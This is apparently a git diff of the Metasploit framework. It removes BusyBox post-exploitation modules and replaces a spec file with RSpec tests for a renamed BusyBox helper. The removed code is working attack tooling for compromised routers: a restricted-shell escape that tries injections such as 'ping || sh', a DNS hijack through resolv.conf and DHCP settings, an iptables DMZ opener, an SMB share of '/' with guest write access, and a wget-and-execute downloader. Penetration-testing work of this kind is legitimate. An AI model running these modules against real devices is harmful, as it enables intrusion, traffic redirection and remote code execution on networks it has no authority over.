||||||
elsif file_exists("/var/udhcpd/udhcpd.leases")
|
|
||||||
hosts_file = "/var/udhcpd/udhcpd.leases"
|
|
||||||
else
|
|
||||||
vprint_error("Files not found: /var/hosts, /var/udhcpd/udhcpd.leases.")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
#File exists
|
|
||||||
begin
|
|
||||||
str_file=read_file(hosts_file)
|
|
||||||
print_good("Hosts File found: #{hosts_file}.")
|
|
||||||
vprint_line(str_file)
|
|
||||||
#Store file
|
|
||||||
p = store_loot("Hosts", "text/plain", session, str_file, hosts_file, "BusyBox Device Connected Hosts")
|
|
||||||
print_good("Hosts saved to #{p}.")
|
|
||||||
rescue EOFError
|
|
||||||
# If there's nothing in the file, we hit EOFError
|
|
||||||
print_error("Nothing read from file: #{hosts_file}, file may be empty.")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,53 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
|
||||||
|
|
||||||
include Msf::Post::File
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'BusyBox Ping Network',
|
|
||||||
'Description' => 'This module will be applied on a session connected
|
|
||||||
to a BusyBox sh shell. The script will ping a range of
|
|
||||||
ip adresses from the router or device executing BusyBox.',
|
|
||||||
'Author' => 'Javier Vicente Vallejo',
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://vallejo.cc']
|
|
||||||
],
|
|
||||||
'Platform' => ['linux'],
|
|
||||||
'SessionTypes' => ['shell']
|
|
||||||
)
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptAddress.new('IPRANGESTART', [ true, "The first ip address of the range to ping.", nil ]),
|
|
||||||
OptAddress.new('IPRANGEEND', [ true, "The last ip address of the range to ping.", nil ])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
#This module executes the ping command from the BusyBox connected shell for a given range of ip addresses. The
|
|
||||||
#results will be stored in loots
|
|
||||||
#
|
|
||||||
def run
|
|
||||||
|
|
||||||
full_results = ""
|
|
||||||
|
|
||||||
(IPAddr.new(datastore['IPRANGESTART'])..IPAddr.new(datastore['IPRANGEEND'])).map(&:to_s).each do |current_ip_address|
|
|
||||||
print_status("Doing ping to the address #{current_ip_address}.")
|
|
||||||
full_results << cmd_exec("ping -c 1 #{current_ip_address}")
|
|
||||||
end
|
|
||||||
|
|
||||||
#storing results
|
|
||||||
p = store_loot("Pingnet", "text/plain", session, full_results, "#{datastore['IPRANGESTART']}"+"-"+"#{datastore['IPRANGEEND']}", "BusyBox Device Network Range Pings")
|
|
||||||
print_good("Pingnet results saved to #{p}.")
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,64 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'BusyBox Jailbreak ',
|
|
||||||
'Description' => 'This module will send a set of commands to a open
|
|
||||||
session that is connected to a BusyBox limited shell
|
|
||||||
(i.e. a router limited shell). It will try different
|
|
||||||
known tricks to try to jailbreak the limited shell and
|
|
||||||
get a full sh busybox shell.',
|
|
||||||
'Author' => 'Javier Vicente Vallejo',
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://vallejo.cc']
|
|
||||||
],
|
|
||||||
'Platform' => ['linux'],
|
|
||||||
'SessionTypes' => ['shell']
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
def run
|
|
||||||
bfound = false
|
|
||||||
bfound = try_command("cat xx || sh\n","1_1") unless bfound
|
|
||||||
bfound = try_command("ping || sh\n","1_2") unless bfound
|
|
||||||
bfound = try_command("echo `sh >> /dev/ttyp0`\n","2_1") unless bfound
|
|
||||||
bfound = try_command("ping `sh >> /dev/ttyp0`\n","2_2") unless bfound
|
|
||||||
bfound = try_command("cat `sh >> /dev/ttyp0`\n","2_3") unless bfound
|
|
||||||
bfound = try_command("cat xx;sh\n","3_1") unless bfound
|
|
||||||
bfound = try_command("echo xx;sh\n","3_2") unless bfound
|
|
||||||
bfound = try_command("ping;sh\n","3_3") unless bfound
|
|
||||||
bfound = try_command("cat xx | sh\n","4_1") unless bfound
|
|
||||||
bfound = try_command("ping | sh\n","4_2") unless bfound
|
|
||||||
bfound = try_command("cat ($sh)\n","5_1") unless bfound
|
|
||||||
bfound = try_command("echo ($sh) xx\n","5_2") unless bfound
|
|
||||||
bfound = try_command("ping ($sh)\n","5_3") unless bfound
|
|
||||||
bfound = try_command("cat xx && sh\n","6_1") unless bfound
|
|
||||||
bfound = try_command("echo xx && sh\n","6_2") unless bfound
|
|
||||||
bfound = try_command("ping && sh\n","3_3") unless bfound
|
|
||||||
print_error("Unable to jailbreak device shell.") if !bfound
|
|
||||||
end
|
|
||||||
|
|
||||||
def try_command(param_command, method_number)
|
|
||||||
vprint_status("jailbreak sent: #{param_command}.")
|
|
||||||
session.shell_write(param_command)
|
|
||||||
(1..10).each do
|
|
||||||
resp = session.shell_read()
|
|
||||||
vprint_status("jailbreak received: #{resp}.")
|
|
||||||
if ((resp.include? "BusyBox") && (resp.include? "Built-in shell"))
|
|
||||||
vprint_status("Done method " + method_number + ".")
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,46 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'BusyBox Set Dmz',
|
|
||||||
'Description' => 'This module will be applied on a session connected
|
|
||||||
to a BusyBox sh shell. The script will enable or disable dmz
|
|
||||||
to a network host in the router or device executing BusyBox.',
|
|
||||||
'Author' => 'Javier Vicente Vallejo',
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://vallejo.cc']
|
|
||||||
],
|
|
||||||
'Platform' => ['linux'],
|
|
||||||
'SessionTypes' => ['shell']
|
|
||||||
)
|
|
||||||
|
|
||||||
register_options([
|
|
||||||
OptAddress.new('TARGETHOST', [ true, "The address of the host to be target for the dmz", nil ]),
|
|
||||||
OptBool.new('DELETE', [false, "If this option is set to true, the DMZ is removed. Else it is added.", false])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def run
|
|
||||||
if datastore['DELETE'] == true
|
|
||||||
vprint_status("Executing iptables to delete dmz.")
|
|
||||||
vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGETHOST']} -j ACCEPT"))
|
|
||||||
else
|
|
||||||
vprint_status("Executing iptables to add dmz.")
|
|
||||||
vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGETHOST']} -j ACCEPT"))
|
|
||||||
end
|
|
||||||
if datastore['VERBOSE']
|
|
||||||
vprint_status(cmd_exec("iptables --list"))
|
|
||||||
end
|
|
||||||
print_good("Dmz modified. Enable verbose for additional information.")
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,85 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
|
||||||
|
|
||||||
include Msf::Post::File
|
|
||||||
include Msf::Post::Linux::Busybox
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'BusyBox Set Dns',
|
|
||||||
'Description' => 'This module will be applied on a session connected
|
|
||||||
to a BusyBox sh shell. The script will set dns addresses
|
|
||||||
to the router or device executing BusyBox to be sent
|
|
||||||
by dhcp server to network hosts.',
|
|
||||||
'Author' => 'Javier Vicente Vallejo',
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://vallejo.cc']
|
|
||||||
],
|
|
||||||
'Platform' => ['linux'],
|
|
||||||
'SessionTypes' => ['shell']
|
|
||||||
)
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptAddress.new('SRVHOST', [ true, "The dns server address.", nil ])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
#The module tries to update resolv.conf file with the SRVHOST dns address. It tries to update
|
|
||||||
#udhcpd.conf too, with SRVHOST dns address, that should be given to network's hosts via dhcp
|
|
||||||
#
|
|
||||||
def run
|
|
||||||
workdone = false
|
|
||||||
vprint_status("Searching for files to modify dns server.")
|
|
||||||
if file_exists("/etc/resolv.conf")
|
|
||||||
vprint_status("Resolv.conf found.")
|
|
||||||
if is_writable_and_write("/etc/resolv.conf", "nameserver #{datastore['SRVHOST']}", false)
|
|
||||||
print_good("Dns server added to resolv.conf.")
|
|
||||||
workdone = true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
if file_exists("/etc/udhcpd.conf")
|
|
||||||
vprint_status("Udhcpd.conf found.")
|
|
||||||
original_content = read_file("/etc/udhcpd.conf")
|
|
||||||
vprint_status("Original udhcpd.conf content:")
|
|
||||||
vprint_status(original_content)
|
|
||||||
if is_writable_and_write("/etc/udhcpd.conf", "option dns #{datastore['SRVHOST']}", true)
|
|
||||||
vprint_status("Udhcpd.conf is writable. Relaunching udhcp server:")
|
|
||||||
cmd_exec("killall dhcpd")
|
|
||||||
#in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command
|
|
||||||
#that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd
|
|
||||||
#process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>"
|
|
||||||
session.shell_write("dhcpd /etc/udhcpd.conf &\n")
|
|
||||||
print_good("Udhcpd.conf modified and dns server added. Dhcpd restarted.")
|
|
||||||
else
|
|
||||||
vprint_status("Unable to write udhcpd.conf. Trying to copy the file to a writable directory.")
|
|
||||||
writable_directory = get_writable_directory()
|
|
||||||
if writable_directory
|
|
||||||
vprint_status("writable directory found, creating a copy of the original udhcpd.conf.")
|
|
||||||
cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf"); Rex::sleep(0.3)
|
|
||||||
is_writable_and_write("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)
|
|
||||||
vprint_status("Relaunching udhcp server:")
|
|
||||||
cmd_exec("killall dhcpd")
|
|
||||||
session.shell_write("dhcpd #{writable_directory}tmp.conf &\n")
|
|
||||||
print_good("Udhcpd.conf copied to writable directory and dns server added. Dhcpd restarted.")
|
|
||||||
workdone = true
|
|
||||||
else
|
|
||||||
vprint_error("Writable directory not found.")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
if !workdone
|
|
||||||
print_error("Unable to modify dns server.")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,54 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
|
||||||
|
|
||||||
include Msf::Post::File
|
|
||||||
include Msf::Post::Linux::Busybox
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'BusyBox Smb Share Root',
|
|
||||||
'Description' => 'This module will be applied on a session connected
|
|
||||||
to a BusyBox sh shell. The script will modify the
|
|
||||||
smb configuration of the the router or device executing
|
|
||||||
BusyBox to share the root directory of the device.',
|
|
||||||
'Author' => 'Javier Vicente Vallejo',
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://vallejo.cc']
|
|
||||||
],
|
|
||||||
'Platform' => ['linux'],
|
|
||||||
'SessionTypes' => ['shell']
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
def run
|
|
||||||
vprint_status("Trying to find smb.conf.")
|
|
||||||
if read_file("/var/samba/smb.conf").length > 0 #file? doesnt work because test -f is not implemented in busybox
|
|
||||||
vprint_status("Smb.conf found.")
|
|
||||||
vprint_status("Trying to find writable directory.")
|
|
||||||
writable_directory = get_writable_directory()
|
|
||||||
if writable_directory
|
|
||||||
vprint_status("writable directory found, copying smb.conf.")
|
|
||||||
vprint_status(cmd_exec("rm -f #{writable_directory}smb.conf")); Rex::sleep(0.1)
|
|
||||||
vprint_status(cmd_exec("cp -f /var/samba/smb.conf #{writable_directory}smb.conf")); Rex::sleep(0.1)
|
|
||||||
vprint_status(cmd_exec("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{writable_directory}smb.conf")); Rex::sleep(0.1)
|
|
||||||
vprint_status(cmd_exec("killall smbd")); Rex::sleep(0.1)
|
|
||||||
vprint_status(cmd_exec("smbd -D -s #{writable_directory}smb.conf")); Rex::sleep(0.1)
|
|
||||||
vprint_status(cmd_exec("smbd -D -s=#{writable_directory}smb.conf")); Rex::sleep(0.1)
|
|
||||||
print_good("Smb configuration has been modified.")
|
|
||||||
else
|
|
||||||
print_error("Writable directory not found.")
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_error("Smb.conf not found.")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,60 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
|
||||||
|
|
||||||
include Msf::Post::File
|
|
||||||
include Msf::Post::Linux::Busybox
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'BusyBox Wget and Exec',
|
|
||||||
'Description' => 'This module will be applied on a session connected
|
|
||||||
to a BusyBox sh shell. The script will use wget to download
|
|
||||||
a file to the router or device executing BusyBox and then
|
|
||||||
it executes the download file.',
|
|
||||||
'Author' => 'Javier Vicente Vallejo',
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://vallejo.cc']
|
|
||||||
],
|
|
||||||
'Platform' => ['linux'],
|
|
||||||
'SessionTypes' => ['shell']
|
|
||||||
)
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptString.new('URL', [true, 'Full URL of file to download.'])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
#The module tries to update resolv.conf file with the SRVHOST dns address. It tries to update
|
|
||||||
#udhcpd.conf too, with SRVHOST dns address, that should be given to network's hosts via dhcp
|
|
||||||
#
|
|
||||||
def run
|
|
||||||
vprint_status("Trying to find writable directory.")
|
|
||||||
writable_directory = get_writable_directory()
|
|
||||||
if writable_directory
|
|
||||||
vprint_status("writable directory found, downloading file.")
|
|
||||||
rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr}
|
|
||||||
random_file_path = writable_directory + rand_str
|
|
||||||
cmd_exec("wget -O #{random_file_path} #{datastore['URL']}"); Rex::sleep(0.1)
|
|
||||||
if file_exists(random_file_path)
|
|
||||||
print_good("File downloaded using wget. Executing it.")
|
|
||||||
cmd_exec("chmod 777 #{random_file_path}"); Rex::sleep(0.1)
|
|
||||||
vprint_status(cmd_exec("sh #{random_file_path}"))
|
|
||||||
else
|
|
||||||
print_error("Unable to download file.")
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_error("Writable directory not found.")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -0,0 +1,185 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'spec_helper'
|
||||||
|
|
||||||
|
require 'msf/core/post/linux/busy_box'
|
||||||
|
|
||||||
|
describe Msf::Post::Linux::BusyBox do
|
||||||
|
subject do
|
||||||
|
mod = ::Msf::Module.new
|
||||||
|
mod.extend described_class
|
||||||
|
mod
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#busy_box_file_exist?" do
|
||||||
|
describe "when file exists" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:read_file) do
|
||||||
|
'test data'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns true" do
|
||||||
|
expect(subject.busy_box_file_exist?('/etc/passwd')).to be_truthy
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "when file doesn't exist" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:read_file) do
|
||||||
|
''
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns false" do
|
||||||
|
expect(subject.busy_box_file_exist?('/etc/nonexistent')).to be_falsey
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#busy_box_is_writable_dir?" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:cmd_exec) do
|
||||||
|
''
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "when dir is writable" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:read_file) do
|
||||||
|
"#{'A' * 16}XXX#{'A' * 16}"
|
||||||
|
end
|
||||||
|
|
||||||
|
allow(Rex::Text).to receive(:rand_text_alpha) do
|
||||||
|
'A' * 16
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns true" do
|
||||||
|
expect(subject.busy_box_is_writable_dir?('/tmp/')).to be_truthy
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "when dir isn't writable" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:read_file) do
|
||||||
|
''
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns false" do
|
||||||
|
expect(subject.busy_box_is_writable_dir?('/etc/')).to be_falsey
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
describe "#busy_box_writable_dir" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:cmd_exec) do
|
||||||
|
''
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "when a writable directory doesn't exist" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:read_file) do
|
||||||
|
''
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns nil" do
|
||||||
|
expect(subject.busy_box_writable_dir).to be_nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "when a writable directory exists" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:read_file) do
|
||||||
|
"#{'A' * 16}XXX#{'A' * 16}"
|
||||||
|
end
|
||||||
|
|
||||||
|
allow(Rex::Text).to receive(:rand_text_alpha) do
|
||||||
|
'A' * 16
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns the writable dir path" do
|
||||||
|
expect(subject.busy_box_writable_dir).to eq('/etc/')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
describe "#busy_box_write_file" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:cmd_exec) do
|
||||||
|
''
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "when the file isn't writable" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:read_file) do
|
||||||
|
''
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns false" do
|
||||||
|
expect(subject.busy_box_write_file('/etc/passwd', 'test')).to be_falsey
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "when the file is writable" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:read_file) do
|
||||||
|
"#{'A' * 16}XXX#{'A' * 16}"
|
||||||
|
end
|
||||||
|
|
||||||
|
allow(Rex::Text).to receive(:rand_text_alpha) do
|
||||||
|
'A' * 16
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns true" do
|
||||||
|
expect(subject.busy_box_write_file('/tmp/test', 'test')).to be_truthy
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "when prepend is true" do
|
||||||
|
describe "when there is a writable dir" do
|
||||||
|
describe "when the target file is writable" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:busy_box_writable_dir) do
|
||||||
|
'/tmp/'
|
||||||
|
end
|
||||||
|
|
||||||
|
allow(subject).to receive(:read_file) do
|
||||||
|
"#{'A' * 16}XXX#{'A' * 16}"
|
||||||
|
end
|
||||||
|
|
||||||
|
allow(Rex::Text).to receive(:rand_text_alpha) do
|
||||||
|
'A' * 16
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns true" do
|
||||||
|
expect(subject.busy_box_write_file('/tmp/test', 'test', true)).to be_truthy
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "when there isn't a writable dir" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:busy_box_writable_dir) do
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns false" do
|
||||||
|
expect(subject.busy_box_write_file('/tmp/test', 'test', true)).to be_falsey
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -1,43 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'msf/core/post/linux/busybox'
|
|
||||||
|
|
||||||
describe Msf::Post::Linux::Busybox do
|
|
||||||
subject do
|
|
||||||
mod = Module.new
|
|
||||||
mod.extend described_class
|
|
||||||
mod
|
|
||||||
end
|
|
||||||
|
|
||||||
describe '#file_exists' do
|
|
||||||
it "should test for file existence" do
|
|
||||||
result = subject.file_exists("/etc/passwd")
|
|
||||||
result.should be true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe '#get_writable_directory' do
|
|
||||||
it "should find a writable directory" do
|
|
||||||
result = subject.get_writable_directory()
|
|
||||||
result.should be true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe '#is_writable_and_write' do
|
|
||||||
it "should write and append data to a file in a writable directory" do
|
|
||||||
result = false
|
|
||||||
writable_directory = get_writable_directory()
|
|
||||||
if nil != writable_directory
|
|
||||||
writable_file = writable_directory + "tmp"
|
|
||||||
if is_writable_and_write(writable_file, "test write ", false) and "test write " == read_file(writable_file) and
|
|
||||||
is_writable_and_write(writable_file, "test append", true) and "test write test append" == read_file(writable_file)
|
|
||||||
result = true
|
|
||||||
end
|
|
||||||
cmd_exec("rm -f #{writable_file}")
|
|
||||||
end
|
|
||||||
result.should be true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
Loading…
Reference in New Issue